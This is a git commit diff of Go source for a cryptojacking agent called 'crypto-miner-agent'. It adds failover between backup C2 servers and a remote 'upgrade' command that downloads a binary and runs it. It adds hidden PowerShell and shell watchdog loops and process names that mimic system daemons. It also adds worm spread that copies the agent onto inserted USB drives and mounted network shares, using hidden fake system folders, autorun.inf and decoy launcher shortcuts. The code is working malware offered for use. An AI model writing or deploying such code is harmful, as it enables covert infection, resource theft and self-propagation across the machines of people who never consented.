Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -4,8 +4,10 @@ import (
|
|||||||
"encoding/base64"
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
@@ -75,15 +77,26 @@ func (c *AgentClient) Run() error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Build deduped server list: primary first, then backups.
|
||||||
|
// On each failure we advance to the next URL so the fleet never
|
||||||
|
// goes dark when the primary host reboots.
|
||||||
|
serverURLs := buildServerURLList(c.cfg)
|
||||||
|
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||||
|
|
||||||
|
urlIdx := 0
|
||||||
backoff := 5 * time.Second
|
backoff := 5 * time.Second
|
||||||
const maxBackoff = 60 * time.Second
|
const maxBackoff = 60 * time.Second
|
||||||
|
|
||||||
for {
|
for {
|
||||||
|
target := serverURLs[urlIdx%len(serverURLs)]
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
if err := c.connectLoop(); err != nil {
|
if err := c.connectLoop(target); err != nil {
|
||||||
log.Printf("[agent] disconnected: %v", err)
|
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||||
}
|
}
|
||||||
|
// Advance to next URL so the next reconnect tries a different server
|
||||||
|
urlIdx++
|
||||||
if time.Since(start) > 10*time.Second {
|
if time.Since(start) > 10*time.Second {
|
||||||
|
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||||
backoff = 5 * time.Second
|
backoff = 5 * time.Second
|
||||||
}
|
}
|
||||||
time.Sleep(backoff)
|
time.Sleep(backoff)
|
||||||
@@ -94,8 +107,30 @@ func (c *AgentClient) Run() error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) connectLoop() error {
|
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||||
wsURL, err := buildWSURL(c.cfg.ServerURL)
|
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
var urls []string
|
||||||
|
add := func(u string) {
|
||||||
|
u = strings.TrimSpace(u)
|
||||||
|
if u == "" || seen[u] {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[u] = true
|
||||||
|
urls = append(urls, u)
|
||||||
|
}
|
||||||
|
add(cfg.ServerURL)
|
||||||
|
for _, u := range cfg.BackupServerURLs {
|
||||||
|
add(u)
|
||||||
|
}
|
||||||
|
if len(urls) == 0 {
|
||||||
|
urls = []string{cfg.ServerURL}
|
||||||
|
}
|
||||||
|
return urls
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) connectLoop(serverURL string) error {
|
||||||
|
wsURL, err := buildWSURL(serverURL)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -350,6 +385,14 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
}
|
}
|
||||||
encoded := base64.StdEncoding.EncodeToString(b)
|
encoded := base64.StdEncoding.EncodeToString(b)
|
||||||
c.sendCommandResult(action, true, encoded)
|
c.sendCommandResult(action, true, encoded)
|
||||||
|
case "upgrade":
|
||||||
|
// data = download URL for the new binary
|
||||||
|
if data == "" {
|
||||||
|
c.sendCommandResult(action, false, "no upgrade URL provided")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go c.performUpgrade(data)
|
||||||
|
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||||
default:
|
default:
|
||||||
if c.handleReconCommand(action, command) {
|
if c.handleReconCommand(action, command) {
|
||||||
return
|
return
|
||||||
@@ -385,6 +428,75 @@ func (c *AgentClient) restartSelf() {
|
|||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// performUpgrade downloads a new binary from downloadURL, replaces the
|
||||||
|
// installed binary, and restarts. Works around Windows file-locking by
|
||||||
|
// renaming the running exe to .old before writing the new one.
|
||||||
|
func (c *AgentClient) performUpgrade(downloadURL string) {
|
||||||
|
log.Printf("[agent] upgrade: downloading from %s", downloadURL)
|
||||||
|
resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[agent] upgrade: download failed: %v", err)
|
||||||
|
c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
log.Printf("[agent] upgrade: server returned %s", resp.Status)
|
||||||
|
c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exe, _ = filepath.Abs(exe)
|
||||||
|
|
||||||
|
// Write new binary to a temp file in the same directory
|
||||||
|
newPath := exe + ".new"
|
||||||
|
tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := io.Copy(tmp, resp.Body); err != nil {
|
||||||
|
tmp.Close()
|
||||||
|
_ = os.Remove(newPath)
|
||||||
|
c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tmp.Close()
|
||||||
|
|
||||||
|
// On Windows: rename the running exe to .old (allowed), then rename .new into place.
|
||||||
|
// On other OSes: direct rename works while the process is running.
|
||||||
|
oldPath := exe + ".old"
|
||||||
|
_ = os.Remove(oldPath)
|
||||||
|
if err := os.Rename(exe, oldPath); err != nil {
|
||||||
|
_ = os.Remove(newPath)
|
||||||
|
c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := os.Rename(newPath, exe); err != nil {
|
||||||
|
// Try to roll back
|
||||||
|
_ = os.Rename(oldPath, exe)
|
||||||
|
_ = os.Remove(newPath)
|
||||||
|
c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[agent] upgrade: binary replaced, restarting")
|
||||||
|
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
|
||||||
|
cmd := exec.Command(exe, "--run")
|
||||||
|
cmd.Dir = filepath.Dir(exe)
|
||||||
|
if startErr := cmd.Start(); startErr != nil {
|
||||||
|
log.Printf("[agent] upgrade: restart failed: %v", startErr)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||||
if !cfg.FileLogging || cfg.StealthMode {
|
if !cfg.FileLogging || cfg.StealthMode {
|
||||||
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
|
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
|
||||||
|
|||||||
@@ -45,5 +45,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
AutoSpread: false,
|
AutoSpread: false,
|
||||||
HolePunch: false,
|
HolePunch: false,
|
||||||
RemoteAggressive: false,
|
RemoteAggressive: false,
|
||||||
|
USBSpread: false,
|
||||||
|
ShareSpread: false,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -52,6 +52,9 @@ type BuiltinConfig struct {
|
|||||||
AutoSpread bool
|
AutoSpread bool
|
||||||
HolePunch bool
|
HolePunch bool
|
||||||
RemoteAggressive bool
|
RemoteAggressive bool
|
||||||
|
// Passive spreading — triggered by the environment rather than active scanning
|
||||||
|
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
||||||
|
ShareSpread bool // drop agent onto already-mounted network shares
|
||||||
// Backup server URLs — tried in order if primary fails
|
// Backup server URLs — tried in order if primary fails
|
||||||
BackupServerURLs []string
|
BackupServerURLs []string
|
||||||
// Windows service masquerade (ignored on other OSes)
|
// Windows service masquerade (ignored on other OSes)
|
||||||
|
|||||||
@@ -9,11 +9,13 @@ import (
|
|||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
// StartWatchdog keeps persistence and the installed binary healthy,
|
||||||
|
// and spawns an out-of-process guardian that restarts the miner if it crashes.
|
||||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||||
if !cfg.SelfHealing {
|
if !cfg.SelfHealing {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
// In-process: repairs binary + persistence every 2 min
|
||||||
go func() {
|
go func() {
|
||||||
ticker := time.NewTicker(2 * time.Minute)
|
ticker := time.NewTicker(2 * time.Minute)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
@@ -23,6 +25,12 @@ func StartWatchdog(cfg config.RuntimeConfig) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
// Out-of-process guardian: survives a crash of THIS process.
|
||||||
|
// Only needed for user-mode installs; scheduled tasks and services
|
||||||
|
// already have their own restart-on-failure mechanics.
|
||||||
|
if cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||||
|
go launchProcessGuard(cfg)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func maintainInstall(cfg config.RuntimeConfig) error {
|
func maintainInstall(cfg config.RuntimeConfig) error {
|
||||||
|
|||||||
31
agent/deploy/health_unix.go
Normal file
31
agent/deploy/health_unix.go
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// launchProcessGuard spawns a detached shell loop that watches for the installed
|
||||||
|
// miner and restarts it on crash (Unix — Linux + macOS).
|
||||||
|
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||||
|
installDir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
bin := filepath.Join(installDir, BinaryName(cfg))
|
||||||
|
procName := strings.TrimSuffix(BinaryName(cfg), "")
|
||||||
|
|
||||||
|
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
|
||||||
|
procName, bin, bin,
|
||||||
|
)
|
||||||
|
cmd := exec.Command("sh", "-c", script)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
43
agent/deploy/health_windows.go
Normal file
43
agent/deploy/health_windows.go
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
|
||||||
|
// installed miner process by name and relaunches it if it disappears.
|
||||||
|
// The guardian runs completely outside this process — it survives a crash.
|
||||||
|
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||||
|
installDir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
|
||||||
|
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
|
||||||
|
|
||||||
|
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$bin = '%s'
|
||||||
|
$proc = '%s'
|
||||||
|
while ($true) {
|
||||||
|
Start-Sleep -Seconds 60
|
||||||
|
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
|
||||||
|
if (Test-Path $bin) {
|
||||||
|
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
`, binPath, procName)
|
||||||
|
|
||||||
|
cmd := exec.Command("powershell",
|
||||||
|
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
|
||||||
|
"-Command", ps)
|
||||||
|
applyDetachedStart(cmd)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
223
agent/deploy/passive_spread_unix.go
Normal file
223
agent/deploy/passive_spread_unix.go
Normal file
@@ -0,0 +1,223 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StartPassiveSpreader on Unix polls for newly mounted removable media
|
||||||
|
// (USB drives, SD cards) and drops the agent onto them.
|
||||||
|
func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||||
|
if !cfg.USBSpread && !cfg.ShareSpread {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
|
||||||
|
if cfg.USBSpread {
|
||||||
|
go runUSBWatcherUnix(cfg)
|
||||||
|
}
|
||||||
|
if cfg.ShareSpread {
|
||||||
|
go runShareWatcherUnix(cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// USB / removable media watcher (Linux + macOS)
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
// Seed with already-mounted removable media so we don't spread to
|
||||||
|
// drives that were plugged in before the agent started.
|
||||||
|
for _, mp := range listRemovableMounts() {
|
||||||
|
seen[mp] = true
|
||||||
|
}
|
||||||
|
ticker := time.NewTicker(20 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
for _, mp := range listRemovableMounts() {
|
||||||
|
if seen[mp] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[mp] = true
|
||||||
|
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||||
|
go spreadToMountUnix(cfg, mp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// listRemovableMounts returns currently-mounted removable media paths.
|
||||||
|
// Linux: parses /proc/mounts, macOS: uses diskutil list + mount.
|
||||||
|
func listRemovableMounts() []string {
|
||||||
|
// Try lsblk first (Linux)
|
||||||
|
if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil {
|
||||||
|
return parseLsblkMounts(string(out))
|
||||||
|
}
|
||||||
|
// macOS: look in /Volumes/ for non-system mounts
|
||||||
|
return listVolumes()
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseLsblkMounts(jsonOut string) []string {
|
||||||
|
// Simple substring scan — avoids importing encoding/json for a small binary
|
||||||
|
var mounts []string
|
||||||
|
lines := strings.Split(jsonOut, "\n")
|
||||||
|
var lastMP string
|
||||||
|
for _, line := range lines {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if strings.Contains(line, `"mountpoint"`) {
|
||||||
|
parts := strings.SplitN(line, ":", 2)
|
||||||
|
if len(parts) == 2 {
|
||||||
|
lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) {
|
||||||
|
if lastMP != "" && lastMP != "/" && lastMP != "null" {
|
||||||
|
mounts = append(mounts, lastMP)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mounts
|
||||||
|
}
|
||||||
|
|
||||||
|
func listVolumes() []string {
|
||||||
|
entries, err := os.ReadDir("/Volumes")
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
// Skip the system volume (usually "Macintosh HD") by checking if it's a
|
||||||
|
// symlink to / — all other entries are external/removable volumes.
|
||||||
|
var vols []string
|
||||||
|
for _, e := range entries {
|
||||||
|
full := filepath.Join("/Volumes", e.Name())
|
||||||
|
target, err := filepath.EvalSymlinks(full)
|
||||||
|
if err != nil {
|
||||||
|
vols = append(vols, full) // real mount, not a symlink
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if target != "/" {
|
||||||
|
vols = append(vols, full)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return vols
|
||||||
|
}
|
||||||
|
|
||||||
|
func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
destName := unixPayloadName(cfg)
|
||||||
|
// Hide in a dot-directory that looks like a metadata store
|
||||||
|
dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir
|
||||||
|
if err := os.MkdirAll(dropDir, 0700); err != nil {
|
||||||
|
dropDir = filepath.Join(mountPath, ".metadata")
|
||||||
|
if err := os.MkdirAll(dropDir, 0700); err != nil {
|
||||||
|
dropDir = mountPath
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dest := filepath.Join(dropDir, destName)
|
||||||
|
if err := copyFile(exePath, dest); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = os.Chmod(dest, 0755)
|
||||||
|
log.Printf("[passive-spread] agent copied to %s", dest)
|
||||||
|
|
||||||
|
// Create a visible shell script or .command launcher that blends in.
|
||||||
|
launcherName := pickUnixLauncher(mountPath)
|
||||||
|
launcherPath := filepath.Join(mountPath, launcherName)
|
||||||
|
script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n"
|
||||||
|
_ = os.WriteFile(launcherPath, []byte(script), 0755)
|
||||||
|
}
|
||||||
|
|
||||||
|
func unixPayloadName(cfg config.RuntimeConfig) string {
|
||||||
|
if !cfg.StealthMode {
|
||||||
|
n := sanitizeName(cfg.WorkerName)
|
||||||
|
if n != "" {
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"}
|
||||||
|
return names[int(time.Now().UnixNano())%len(names)]
|
||||||
|
}
|
||||||
|
|
||||||
|
func pickUnixLauncher(mountPath string) string {
|
||||||
|
entries, _ := os.ReadDir(mountPath)
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.IsDir() && !strings.HasPrefix(e.Name(), ".") {
|
||||||
|
return e.Name() + ".command"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "Start.command"
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Mounted share watcher (Linux/macOS NFS, CIFS, SMB)
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
var spreadSharesOnce sync.Once
|
||||||
|
|
||||||
|
func runShareWatcherUnix(cfg config.RuntimeConfig) {
|
||||||
|
time.Sleep(3 * time.Minute)
|
||||||
|
ticker := time.NewTicker(10 * time.Minute)
|
||||||
|
defer ticker.Stop()
|
||||||
|
spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) })
|
||||||
|
for range ticker.C {
|
||||||
|
spreadToSharesUnix(cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func spreadToSharesUnix(cfg config.RuntimeConfig) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, mp := range listRemoteShareMounts() {
|
||||||
|
mp := mp
|
||||||
|
go func() {
|
||||||
|
destName := unixPayloadName(cfg)
|
||||||
|
dest := filepath.Join(mp, "."+destName)
|
||||||
|
if _, err := os.Stat(dest); err == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := copyFile(exePath, dest); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = os.Chmod(dest, 0755)
|
||||||
|
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||||
|
cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts.
|
||||||
|
func listRemoteShareMounts() []string {
|
||||||
|
out, err := exec.Command("mount").Output()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var mounts []string
|
||||||
|
for _, line := range strings.Split(string(out), "\n") {
|
||||||
|
lower := strings.ToLower(line)
|
||||||
|
if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// mount line format: `//host/share on /mnt/share type cifs ...`
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
for i, f := range fields {
|
||||||
|
if f == "on" && i+1 < len(fields) {
|
||||||
|
mounts = append(mounts, fields[i+1])
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mounts
|
||||||
|
}
|
||||||
450
agent/deploy/passive_spread_windows.go
Normal file
450
agent/deploy/passive_spread_windows.go
Normal file
@@ -0,0 +1,450 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/rand"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Entry point
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
// StartPassiveSpreader starts background goroutines that spread via
|
||||||
|
// environment-triggered events rather than active subnet scanning:
|
||||||
|
// - USB drive insertion → copy + autorun + LNK shortcut
|
||||||
|
// - Mounted network shares → drop payload + helper
|
||||||
|
// - WMI event subscription → persistent USB trigger (survives reboots)
|
||||||
|
// - PowerShell Remoting → opportunistic WinRM spread on LAN
|
||||||
|
func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||||
|
if !cfg.USBSpread && !cfg.ShareSpread {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
|
||||||
|
if cfg.USBSpread {
|
||||||
|
go runUSBWatcher(cfg)
|
||||||
|
go installWMIUSBTrigger(cfg) // persistent, survives reboots
|
||||||
|
}
|
||||||
|
if cfg.ShareSpread {
|
||||||
|
go runShareWatcher(cfg)
|
||||||
|
go runPSRemotingSpread(cfg) // opportunistic WinRM
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Win32 drive enumeration
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
var (
|
||||||
|
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives")
|
||||||
|
procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW")
|
||||||
|
procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
driveRemovable = 2
|
||||||
|
driveRemote = 4
|
||||||
|
attrHidden = 0x02
|
||||||
|
attrSystem = 0x04
|
||||||
|
)
|
||||||
|
|
||||||
|
func getLogicalDrives() []string {
|
||||||
|
r, _, _ := procGetLogicalDrives.Call()
|
||||||
|
var drives []string
|
||||||
|
for i := 0; i < 26; i++ {
|
||||||
|
if r&(1<<uint(i)) != 0 {
|
||||||
|
drives = append(drives, string(rune('A'+i))+":\\")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return drives
|
||||||
|
}
|
||||||
|
|
||||||
|
func getDriveType(root string) uint32 {
|
||||||
|
ptr, _ := syscall.UTF16PtrFromString(root)
|
||||||
|
r, _, _ := procGetDriveTypeW.Call(uintptr(unsafe.Pointer(ptr)))
|
||||||
|
return uint32(r)
|
||||||
|
}
|
||||||
|
|
||||||
|
func setHiddenSystem(path string) {
|
||||||
|
ptr, err := syscall.UTF16PtrFromString(path)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _, _ = procSetFileAttributesW.Call(uintptr(unsafe.Pointer(ptr)),
|
||||||
|
uintptr(attrHidden|attrSystem))
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// USB watcher
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
// Seed with drives already present at start — don't spread to them immediately.
|
||||||
|
for _, d := range getLogicalDrives() {
|
||||||
|
if getDriveType(d) == driveRemovable {
|
||||||
|
seen[d] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ticker := time.NewTicker(20 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
for _, d := range getLogicalDrives() {
|
||||||
|
if getDriveType(d) != driveRemovable {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if seen[d] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[d] = true
|
||||||
|
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||||
|
go spreadToUSB(cfg, d)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
||||||
|
// using three complementary techniques:
|
||||||
|
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
||||||
|
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
||||||
|
// 3. Hidden dir — keeps the binary out of plain sight
|
||||||
|
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Randomised drop directory looks like a Windows system folder.
|
||||||
|
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||||
|
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
||||||
|
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
setHiddenSystem(dropDir)
|
||||||
|
|
||||||
|
destName := usbPayloadName(cfg)
|
||||||
|
destBin := filepath.Join(dropDir, destName)
|
||||||
|
if err := copyFile(exePath, destBin); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
setHiddenSystem(destBin)
|
||||||
|
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||||
|
|
||||||
|
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
||||||
|
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
||||||
|
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||||
|
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||||
|
)
|
||||||
|
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||||
|
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||||
|
|
||||||
|
// 2. LNK shortcut that looks like the drive's main folder.
|
||||||
|
// We pick a name that mirrors whatever real directories are present
|
||||||
|
// so it blends in, or fall back to a generic "Open Documents" label.
|
||||||
|
lnkName := pickLinkName(drive)
|
||||||
|
createFolderShortcut(drive, lnkName, destBin)
|
||||||
|
}
|
||||||
|
|
||||||
|
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||||
|
func usbPayloadName(cfg config.RuntimeConfig) string {
